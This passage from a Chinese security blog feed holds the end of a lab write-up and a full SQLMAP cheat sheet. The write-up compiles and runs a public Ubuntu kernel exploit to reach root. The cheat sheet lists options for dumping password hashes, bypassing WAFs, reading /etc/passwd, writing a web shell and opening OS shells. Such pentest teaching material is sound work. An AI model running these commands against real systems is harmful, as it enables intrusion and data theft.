class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">root@indishell:~# uname -a</span><br><span class="line">Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux</span><br><span class="line"></span><br><span class="line">root@indishell:~# cat /etc/issue</span><br><span class="line">Ubuntu 12.04.5 LTS \n \l</span><br></pre></td></tr></table></figure><p>看到是Ubuntu12.04版本的，那么可以利用Ubuntu著名的本地提权exp</p><p>下载地址：<a href="https://www.exploit-db.com/exploits/37292" target="_blank" rel="noopener">https://www.exploit-db.com/exploits/37292</a></p><p>将EXP代码保存带文件内，然后赋予权限，进行编译</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">root@indishell:~# vim exp.c</span><br><span class="line">root@indishell:~# chmod 777 exp.c  //赋予权限</span><br><span class="line">root@indishell:~# gcc exp.c -o exp//编译</span><br><span class="line">root@indishell:~# ls</span><br><span class="line">exp  exp.c</span><br><span class="line">root@indishell:~# mv exp /home/ica/  </span><br><span class="line">root@indishell:~# su - ica   //由于是复现，我们切换用户为ica进行本地越权</span><br><span class="line">ica@indishell:~$</span><br><span class="line">ica@indishell:~$ ls</span><br><span class="line">exp</span><br><span class="line">ica@indishell:~$ ./exp  //执行EXP</span><br><span class="line">spawning threads</span><br><span class="line">mount #1</span><br><span class="line">mount #2</span><br><span class="line">child threads done</span><br><span class="line">/etc/ld.so.preload created</span><br><span class="line">creating shared library</span><br><span class="line"># id</span><br><span class="line">uid=0(root) gid=0(root)  groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare),1000(ica)       //成功越权</span><br><span class="line">#</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="WEB安全" scheme="https://louisnie.github.io/categories/WEB%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="靶机实验" scheme="https://louisnie.github.io/tags/%E9%9D%B6%E6%9C%BA%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>SQLMAP速查表</title>
    <link href="https://louisnie.github.io/2019/03/03/SQLMAP/"/>
    <id>https://louisnie.github.io/2019/03/03/SQLMAP/</id>
    <published>2019-03-02T19:20:28.000Z</published>
    <updated>2019-03-02T19:55:11.693Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">时光匆匆流逝过，平平淡淡才是真。忍耐任由风雨过，守得云开见月明。</blockquote></p><p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=1344340338&auto=1&height=66"></iframe></div><br>注：由于自己sqlmap命令不是很熟，经常只会使用常见的那几个参数，所以特地写了博客，将所有的命令一个一个的操作了一遍，然后码字，过程是辛苦的，但收货满满，很开心，晚安，世界！</p><h2 id="简介："><a href="#简介：" class="headerlink" title="简介："></a>简介：</h2><p>SQLMAP是开源的渗透测试工具，主要用于自动化监测和利用SQL注入漏洞，它具有功能强大的检测引擎，能针对各种不同类型的数据库去获取数据库服务器的权限，获取数据库所存储的数据，访问并且可以导出操作系统的文件，甚至通过外带数据连接的方式执行操作系统命令。</p><h2 id="所支持的DBMS："><a href="#所支持的DBMS：" class="headerlink" title="所支持的DBMS："></a>所支持的DBMS：</h2><p>SQLMAP支持市面上常见的DBMS，包括<a href="https://en.wikipedia.org/wiki/MySQL" target="_blank" rel="noopener">MySQL</a>，<a href="https://en.wikipedia.org/wiki/Oracle_Database" target="_blank" rel="noopener">Oracle</a>，<a href="https://en.wikipedia.org/wiki/PostgreSQL" target="_blank" rel="noopener">PostgreSQL</a>，<a href="https://en.wikipedia.org/wiki/Microsoft_SQL_Server" target="_blank" rel="noopener">Microsoft SQL Server</a>，<a href="https://en.wikipedia.org/wiki/Microsoft_Access" target="_blank" rel="noopener">Microsoft Access</a>，<a href="https://en.wikipedia.org/wiki/IBM_DB2" target="_blank" rel="noopener">IBM DB2</a>，<a href="https://en.wikipedia.org/wiki/SQLite" target="_blank" rel="noopener">SQLite</a>，<a href="https://en.wikipedia.org/wiki/Firebird_(database_server" target="_blank" rel="noopener">Firebird</a>)和SAP MaxDB。</p><h2 id="五种注入模式："><a href="#五种注入模式：" class="headerlink" title="五种注入模式："></a>五种注入模式：</h2><ul><li>基于布尔的盲注，即可以根据返回页面判断条件真假的注入。</li><li>基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟是否执行（即页面返回时间是否增加）来判断。</li><li>基于报错注入，即页面会返回错误信息，或者把注入的语句直接返回在页面中。</li><li>联合查询注入，在使用union联合查询的情况下注入</li><li>堆查询注入，可以在同时执行多条语句的情况下注入</li></ul><h2 id="七种测试等级："><a href="#七种测试等级：" class="headerlink" title="七种测试等级："></a>七种测试等级：</h2><p>使用参数-v指定对应的测试等级，默认是等级1.如果想看到sqlmap发送的测试payload最好的等级是3,。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">·0：只显示Python的回溯、错误和关键消息；</span><br><span class="line">·1：同时显示基本信息和警告信息；</span><br><span class="line">·2：同时显示调试信息；</span><br><span class="line">·3：同时显示注入的payload；</span><br><span class="line">·4：同时显示HTTP请求；</span><br><span class="line">·5：同时显示HTTP响应头；</span><br><span class="line">·6：同时显示HTTP响应页面页面。</span><br></pre></td></tr></table></figure><h2 id="基本功能："><a href="#基本功能：" class="headerlink" title="基本功能："></a>基本功能：</h2><p>1.在sqlmap 0.8版本之后，提供了数据库直连的功能，使用参数-d作为SQL数据库的客户端程序来连接数据库的端口，需要安装一些python中的依赖库便可以进行访问，其语法格式为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap.py -d &quot;DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME&quot;</span><br></pre></td></tr></table></figure><p>2.与BurpSuite，Google结合使用，支持正则表达式限定测试目标</p><p>3.可以对HTTP头部信息（GET,POST,Cookie,Referer,User-Agent等）进行自动注入或者手动注入。</p><p>​    另外Referer和User-Agent可以具体指定某一个值去进行SQL注入挖掘</p><p>​    如果cookie过期之后，sqlmap会自动处理set-cookie头，更新cookie的信息</p><p>4.进行限速处理：设置最大并发和延迟发送。</p><p>5.支持基本身份认证（Basic Authentication），摘要认证（Digest  Authentication），NTLM认证，CA身份认证</p><p>6.能够进行数据库版本的发现，用户的发现，进行提权，hash枚举和字典破解，暴力破解表列名称</p><p>7.能够利用SQL注入进行文件上传下载，支持用户定义函数（UDF）利用存储过程执行存储过程，执行操作系统命令，访问Windows注册表</p><p>8.与w3af,metasploit集成结合使用，能够基于数据库进程进行提权和上传执行后门。</p><p>下载地址：<a href="http://sqlmap.org/" target="_blank" rel="noopener">http://sqlmap.org/</a></p><h2 id="操作选项"><a href="#操作选项" class="headerlink" title="操作选项:"></a>操作选项:</h2><h3 id="基本操作："><a href="#基本操作：" class="headerlink" title="基本操作："></a>基本操作：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-h:显示帮助信息退出</span><br><span class="line"></span><br><span class="line">--hh:显示更多的信息并退出</span><br><span class="line"></span><br><span class="line">--version：显示程序版本并退出</span><br><span class="line"></span><br><span class="line">-v:设置等级，默认为等级1</span><br></pre></td></tr></table></figure><h3 id="指定目标："><a href="#指定目标：" class="headerlink" title="指定目标："></a>指定目标：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">GET方法：</span><br><span class="line">-d: 表示sqlmap将自己作为客户端去连接数据库</span><br><span class="line"></span><br><span class="line">-u或者--url: 指定目标系统的URL，</span><br><span class="line">-p：对指定的参数进行SQL注入检测</span><br><span class="line">-f: 检测数据库，服务器等（fingerprint）信息，</span><br><span class="line">-b或者--banner：获取数据库版本信息和数据库类型</span><br><span class="line">--batch:不与使用者进行信息交互，直接执行</span><br><span class="line"></span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com/?id=1&quot; -p id -f --batch</span><br><span class="line"></span><br><span class="line">-g：对Google的搜索结果进行SQL注入探测.例如：sqlmap.py -g &quot;inurl:\&quot;.php?id=1\.&quot;</span><br><span class="line">--force-ssl:强制使用SSL/HTTPS协议</span><br><span class="line">例：sqlmap.py -u &quot;https://www.xxx.com/?id=1&quot; --force-ssl</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">POST方法：</span><br><span class="line">-r: 将HTTP请求文件保存到文本文档中，使用参数-r读取文本文件的参数进行SQL注入.例：sqlmap.py -r request.txt</span><br><span class="line">-l: 将burpsuite log文件保存到文本文档中，使用参数-l读取文本文档的参数进行SQL注入。例：sqlmap.py -l log.txt</span><br><span class="line">-c:对配置文件进行SQL注入探测</span><br></pre></td></tr></table></figure><h3 id="枚举模块："><a href="#枚举模块：" class="headerlink" title="枚举模块："></a>枚举模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">-a/--all:获取所有信息</span><br><span class="line">-b/--banner : 获取DBMS banner</span><br><span class="line">--dbs:枚举DBMS中所有的数据库</span><br><span class="line">–current-user:获取当前用户</span><br><span class="line">--privileges-U username(当前账号/CU) ：查看当前账号的权限</span><br><span class="line">--roles:列出数据库管理员角色，仅适用于当前数据库是Oracle</span><br><span class="line">–current-db : 获取当前数据库</span><br><span class="line">–users : 枚举DBMS用户</span><br><span class="line">–passwords : 枚举DBMS用户密码hash值</span><br><span class="line">–tables: 枚举DBMS数据库管理系统中的表</span><br><span class="line">--columns:枚举DBMS数据库管理系统中的列</span><br><span class="line">--schema:枚举DBMS数据库管理系统的模式</span><br><span class="line">--dump:转储DBMS数据库表项，后面加-C表示转储某列，-T转储某表，-D转储某数据库，--start,--stop,--first,--last指定开始结束，开头结尾。</span><br><span class="line">--dump-all：转储所有的DBMS数据库表项</span><br><span class="line">-D：指定枚举的DBMS中的数据库</span><br><span class="line">-T：指定要枚举的表</span><br><span class="line">-C：指定要枚举的列</span><br><span class="line">-D 数据库名 --tables:查找指定数据库中的表</span><br><span class="line">-D 数据库名 -T 表名 --columns：查找指定数据库的某个表中的列</span><br><span class="line">--exclude-sysdbs:忽略掉系统数据库</span><br><span class="line">--count:查找表中的记录数</span><br><span class="line">--schema:查找数据库的架构，包含所有的数据库，表和字段，以及各自的类型，一般与--exclude-sysdbs</span><br><span class="line">--batch：默认每次自动执行</span><br><span class="line">--sql-query/--sql/shell:运行自定义的SQL语句，例：--sql-query=&quot;select * from users;&quot;所得到的内容被保存到dump目录中</span><br></pre></td></tr></table></figure><h3 id="请求模块："><a href="#请求模块：" class="headerlink" title="请求模块："></a>请求模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">--data=DATA :指定post数据包中被传输的值</span><br><span class="line">例：sqlmap.py -u &quot;http：//www.xxx.com&quot; --data=&quot;name=123&amp;pass=456&quot; -f</span><br><span class="line">--cookie=COOKIE:指定cookie值登录web程序，并且会尝试自动注入cookie值</span><br><span class="line">需要在level 2或者大于level 2等级才会进行cookie注入。</span><br><span class="line">如果cookie被服务器端更新，那么sqlmap也会自动更新cookie值。</span><br><span class="line">例:sqlmap -u &quot;http://192.168.149.129/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#&quot; -p id  --cookie=&quot;security=low; PHPSESSID=d806c1f76f24a9687640ce497afc8f20&quot; --batch</span><br><span class="line">--param-del:告知sqlmap变量分隔符。web程序一般默认是&amp;符号作为分隔符，如果并非&amp;，则需要指定变量分隔符</span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com&quot; --data=&quot;user=123;pass=456&quot; --param-del=&quot;;&quot; -f</span><br><span class="line"></span><br><span class="line">指定HTTP头部信息：</span><br><span class="line">-user-agent:指定UA头部信息。sqlmap默认使用UA为：sqlmap/1.0-dev-版本号 http://sqlmap.org</span><br><span class="line">--random-agent:使用sqlmap/txt/user-agents.txt字典中的UA头部进行随机替换</span><br><span class="line"></span><br><span class="line">--host=&quot;host header&quot; ：指定host头部信息，当level为5的时候才会检测host值</span><br><span class="line">--referer=&quot;REFERER&quot; ：指定Referer头部信息，当level大于等于三 ,才回去检测referer头部是否存在注入</span><br><span class="line">--method=GET/POST：指定使用get或者POST方式发送数据，默认以get方式发送</span><br><span class="line"></span><br><span class="line">延时：</span><br><span class="line"></span><br><span class="line">--delay=DELAY:每次HTTP（S）请求之间延迟时间，值为浮点数，单位为秒，默认无延迟</span><br><span class="line">--timeout=TIMEOUT ：设置超时时间，默认30秒</span><br><span class="line">--retries=RETRIES:设置重连次数，默认3次</span><br><span class="line">--randomize:设置随机改变的参数值</span><br><span class="line">--scope:利用正则表达式过滤日志内容</span><br><span class="line"></span><br><span class="line">--safe-url=SAFEURL ：指定需要去重复扫描的地址</span><br><span class="line">--safe-freq：指定每发送多少次的注入请求之后接着发正常请求</span><br><span class="line">注：有些web应用程序会在攻击者多次访问错误的请求时屏蔽掉以后的所有请求，所以设置这两个参数防止以后无法进行注入</span><br><span class="line">例：sqlmap.py -u &quot;https://www.xxx.com/?id=1&quot; --safe-url=“http://www.xxx.com” --safe-freq=3 </span><br><span class="line">--skip-urlencode:跳过URL编码的载荷</span><br><span class="line">注：默认在get请求中是需要对传输数据进行编码，但是有些web服务器不遵守RPC标准编码，使用原始字符提交数据，所以使用这个参数使sqlmap不使用URL编码的参数进行测试</span><br><span class="line">--eval=EBALCODE：在请求之前执行提供的python代码。</span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com/?id=1&amp;hash=c4ca4238a0b923820dcc509a6f75849b&quot; --evel=&quot;import hashlib;hash=hashlib.md5(id).hexdigest()&quot;</span><br></pre></td></tr></table></figure><h3 id="身份认证模块："><a href="#身份认证模块：" class="headerlink" title="身份认证模块："></a>身份认证模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">--auth-type=AUTH:指定HTTP认证类型（Basic, Digest, NTLM or PKI）</span><br><span class="line">--auth-cred=AUTH:指定HTTP认证证书（格式为：name:password）</span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com/?id=1&quot; --auth-type=Basic --auth-cred &quot;user:pass&quot;</span><br><span class="line">--auth-file=AUTH:指定HTTP认证PEM格式的证书/私钥文件</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">代理：</span><br><span class="line">--proxy=&quot;http://127.0.0.1:8081&quot; //将设置国外的代理服务器，传递给本地的8081端口，这个命令是将本地的8081端口反弹到国外的服务器上面去执行命令</span><br><span class="line">--proxy-cred=&quot;name:pass&quot;</span><br><span class="line">例：sqlmap -u &quot;http://www.xxx.com/?id=1&quot; --proxy=&quot;http://127.0.0.1:8081&quot; --proxy-cred=&quot;user:pass&quot; -f</span><br><span class="line"></span><br><span class="line">--ignore-proxy：忽略系统级代理设置，通常用于扫描本地网络目标。</span><br></pre></td></tr></table></figure><h3 id="代理模块："><a href="#代理模块：" class="headerlink" title="代理模块："></a>代理模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">--proxy=&quot;http://127.0.0.1:8081&quot; //将设置国外的代理服务器，传递给本地的8081端口，这个命令是将本地的8081端口反弹到国外的服务器上面去执行命令</span><br><span class="line">--proxy-cred=&quot;name:pass&quot;</span><br><span class="line">例：sqlmap -u &quot;http://www.xxx.com/?id=1&quot; --proxy=&quot;http://127.0.0.1:8081&quot; --proxy-cred=&quot;user:pass&quot; -f</span><br><span class="line"></span><br><span class="line">--ignore-proxy：忽略系统级代理设置，通常用于扫描本地网络目标。</span><br></pre></td></tr></table></figure><h3 id="优化模块："><a href="#优化模块：" class="headerlink" title="优化模块："></a>优化模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-o 开启所有优化开关  </span><br><span class="line">--predict-output 预测常见的查询输出  </span><br><span class="line">--keep-alive 使用持久的HTTP（S）连接  </span><br><span class="line">--null-connection 从没有实际的HTTP响应体中检索页面长度  </span><br><span class="line">--threads=THREADS：设置最大的HTTP（S）请求并发量（默认为1）</span><br></pre></td></tr></table></figure><h3 id="注入模块："><a href="#注入模块：" class="headerlink" title="注入模块："></a>注入模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">-p:指定扫描的参数，也可以指定HTTP头部字段</span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com/？id=1&quot; -p &quot;User-Agent,Referer，id&quot;</span><br><span class="line">--skip：跳过对某些参数进行测试。当使用--level的值很大但是有个别参数不想去测试的时候使用--skip去跳过</span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com/？id=1&quot; --skip &quot;User-Agent,Referer，id&quot;</span><br><span class="line">-u:设置URL注入点。当有些网站将参数和值一起加入到URL链接中，sqlmap是默认不对其进行扫描的，所以我们需要去指定对某个参数值进行注入</span><br><span class="line">例：sqlmap.py -u &quot;http://www.xxx.com/param1/value1*/param2/value2*&quot; </span><br><span class="line">--dbms:设置目标服务器所使用的DBMS</span><br><span class="line">例：--dbms=&quot;mysql&quot;</span><br><span class="line">--os:指定目标的操作系统</span><br><span class="line">例：--os=&quot;linux&quot;</span><br><span class="line">--invalid-bignum:给参数值给与最大值让其失效</span><br><span class="line">--invalid-logical：使用布尔判断使取值失效</span><br><span class="line">--no-cast:榨取数据时，sqlmap将所有的结果转换成字符串，并用空格替换null值（老版本mysql数据库需要开启此开关）</span><br><span class="line">--tamper=TAMPER：使用给定的脚本去混淆绕过应用层的过滤，比如waf/ids等。该文件存放在/sqlmap/tamper文件下</span><br><span class="line">例：sqlmap.py -u &quot;www.xxx.com/?id=1&quot; -p &quot;id&quot; --tamper=&quot;between.py,overlongutf8more.py,lowercase.py &quot;</span><br></pre></td></tr></table></figure><h3 id="检测模块："><a href="#检测模块：" class="headerlink" title="检测模块："></a>检测模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">--level :共有5级，默认等级1，可以自己制定，推荐等级3</span><br><span class="line">--risk:共有4级，默认等级1，risk升高可造成数据被篡改等风险</span><br><span class="line">--string:指定页面返回某个字符串则为真</span><br><span class="line">--not-string:指定页面不返回某个字符串则为真</span><br><span class="line">--Regexp:当查询的值为真时，使用正则表达式去匹配</span><br><span class="line">--code：当查询的值为真时，执行HTTP code</span><br></pre></td></tr></table></figure><h3 id="技术类型："><a href="#技术类型：" class="headerlink" title="技术类型："></a>技术类型：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sqlmap默认使用这些操作</span><br><span class="line">--technique=TECH    指定sqlmap使用的检测技术，默认情况下会测试所有的方式。</span><br><span class="line">   --time-sec=TIMESEC  设置延迟时间，基于时间的注入检测默认延迟时间是5秒</span><br><span class="line">   --union-cols=UCOLS  联合查询时默认是1-10列，当level=5时会增加到测试50个字段数，可以使用此参数设置查询的字段数。</span><br><span class="line">   --union-char=UCHAR  默认情况下sqlmap针对UNION查询的注入会使用NULL字符；</span><br><span class="line">   --union-from=UFROM  在UNION查询SQL注入的FROM部分中使用的表</span><br><span class="line">   --dns-domain=DNS..  攻击者控制了某DNS服务器，使用此功能可以提高数据查询的速度</span><br><span class="line">   --second-order=S..  使用此参数指定到哪个页面获取响应判断真假，--second-order后面跟一个判断页面的URL地址。</span><br></pre></td></tr></table></figure><h3 id="指纹信息："><a href="#指纹信息：" class="headerlink" title="指纹信息："></a>指纹信息：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-f/--fingerprint:查询目标系统的数据库管理系统的指纹信息</span><br><span class="line">-b/--banner:返回数据库的版本信息</span><br></pre></td></tr></table></figure><h3 id="爆破模块："><a href="#爆破模块：" class="headerlink" title="爆破模块："></a>爆破模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">用于：</span><br><span class="line">mysql版本&lt;5.0的时候，没有information_schema库</span><br><span class="line">mysql版本&gt;=5.0，但无权读取information_schema库</span><br><span class="line">微软的access数据库，默认无权读取MSysObjects库。</span><br><span class="line"></span><br><span class="line">--common-tables:爆破表名</span><br><span class="line">例：sqlmap.py -u &quot;http://www.baidu.com/?id=1&quot; --common-tables</span><br><span class="line">--common-columns:暴力破解列名</span><br></pre></td></tr></table></figure><h3 id="UDF注入模块："><a href="#UDF注入模块：" class="headerlink" title="UDF注入模块："></a>UDF注入模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">UDF：自定义函数，利用UDF函数达到执行操作系统命令</span><br><span class="line">--udf-inject:注入用户自定义函数</span><br><span class="line">--shared-lib=SHLIB:指定共享库的本地路径</span><br><span class="line">这两条命令一起使用</span><br></pre></td></tr></table></figure><h3 id="系统文件操作："><a href="#系统文件操作：" class="headerlink" title="系统文件操作："></a>系统文件操作：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">--file-read=RFILE:从后端DBMS文件系统中读取文件（读取系统文件）</span><br><span class="line">例：--file-read=&quot;/etc/passwd&quot;</span><br><span class="line">--file-write=SHELL.PHP --file-dest=DFILE：把当前系统的文件写入到目标服务器的某个目录下去</span><br></pre></td></tr></table></figure><h3 id="OS系统访问："><a href="#OS系统访问：" class="headerlink" title="OS系统访问："></a>OS系统访问：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">--os-cmd:运行任意操作系统命令（适用于数据库为mysql，postgresql，或Sql Server，并且当前用户有权限使用特定的函数）</span><br><span class="line">例：--os-cmd id :执行id命令，后期是与sqlmap进行交互，生成UDF函数在操作系统下执行命令</span><br><span class="line">--os-shell:获取一个shell（目标系统为管理员权限，并且得知绝对路径）</span><br></pre></td></tr></table></figure><h3 id="Windows注册表模块："><a href="#Windows注册表模块：" class="headerlink" title="Windows注册表模块："></a>Windows注册表模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">--reg-read:读取注册表的值</span><br><span class="line">--reg-add:写入注册表值</span><br><span class="line">--reg-del:删除注册表值</span><br><span class="line">--reg-key,--reg-value,--reg-data,--reg-type:注册表辅助选项</span><br></pre></td></tr></table></figure><h3 id="一般性参数："><a href="#一般性参数：" class="headerlink" title="一般性参数："></a>一般性参数：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">-s:指定sqlite会话文件保存位置</span><br><span class="line">-t:记录流量文件保存位置</span><br><span class="line">--charset:强制字符编码</span><br><span class="line">例：--charset=GBK</span><br><span class="line">--crawl:从开始位置爬站深度</span><br><span class="line">例：--crawl=3</span><br><span class="line">--csv-del:dump下来的数据以CVS格式保存</span><br><span class="line">--dbms-creb:指定数据库账号</span><br><span class="line">--slush-session:清空session</span><br><span class="line">--fresh-queries：忽略session查询结果</span><br><span class="line">--hex：当dump下非ASCii字符内容时，将其编码成16进账形式，收到后解析还原</span><br><span class="line">--save:将命令保存成配置文件</span><br></pre></td></tr></table></figure><h3 id="批处理模块："><a href="#批处理模块：" class="headerlink" title="批处理模块："></a>批处理模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">--check-waf:检测WAF/IPS/IDS</span><br><span class="line">--hpp:绕过WAF/IPS/ISD，尤其是对ASP/IIS和ASP.NET/IIS有效</span><br><span class="line">--identify-waf:彻底的WAF/IPS/IDS检测，支持三十多种产品</span><br></pre></td></tr></table></figure><h3 id="杂项模块："><a href="#杂项模块：" class="headerlink" title="杂项模块："></a>杂项模块：</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">--mobile：模拟智能手机设备，修改User-Agent为手机端的UA</span><br><span class="line">--purge-output:清空output文件夹</span><br><span class="line">--smart：当有大量检测目标时，只修改基于错误的检测结果</span><br><span class="line">--wizard:设置用户向导参数，教你一步步针对目标注入</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="WEB安全" scheme="https://louisnie.github.io/categories/WEB%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="tools" scheme="https://louisnie.github.io/tags/tools/"/>
    
  </entry>
  
  <entry>
    <title>XSS小游戏</title>
